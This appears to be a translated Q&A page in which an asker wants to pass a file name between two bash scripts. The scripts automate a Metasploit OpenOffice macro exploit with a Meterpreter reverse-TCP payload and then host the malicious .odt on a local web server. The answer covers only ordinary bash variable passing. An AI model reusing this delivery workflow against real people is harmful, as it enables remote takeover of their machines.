他のbashシェルに引数を渡す

他のbashシェルに引数を渡す

私はbashスクリプトを書いた

script1.sh

#!/bin/sh    
read -p "Enter name of the document file :" name    
read -p "Enter LHOST  :" lhost    
read -p "Enter LPORT  :" lport    
echo "use exploit/multi/misc/openoffice_document_macro    
set set payload windows/meterpreter/reverse_tcp_allports    
set FIlENAME $name.odt    
set LHOST $lhost    
set LPORT $lport    
exploit    
background    
exploit" > output.txt    
set ExitOnSession false    
gnome-terminal -e "./script2.sh"    
echo "Now Starting metasploit !"    
msfconsole -r open_office_macro.rc    

script2.sh

#!/bin/sh    
file=/root/.msf4/local/$name.odt    
if [ -f "$file" ]    
then    
        cp /root/.msf4/local/$name.odt /var/www/html    
        cd /var/www/html    
        python -m SimpleHTTPServer    
else    
        echo "$file not found."    

fi    

$ nameパラメータをscript1からscript2に渡すには?

ベストアンサー1

2つの可能性があります。

  1. エクスポート変数で作成します(この場合はすべて大文字にすることをお勧めします(例:NAME))。これにより、子プロセスの環境に配置されます。
  2. 明示的なパラメータとして渡します。

例1:

# Use it as exported variable
export NAME
read -p .... NAME

実施例2

# in script1:
read -p .... name
script2.sh $name

# Fetch it in script2:
name="${1?No name supplied}"

おすすめ記事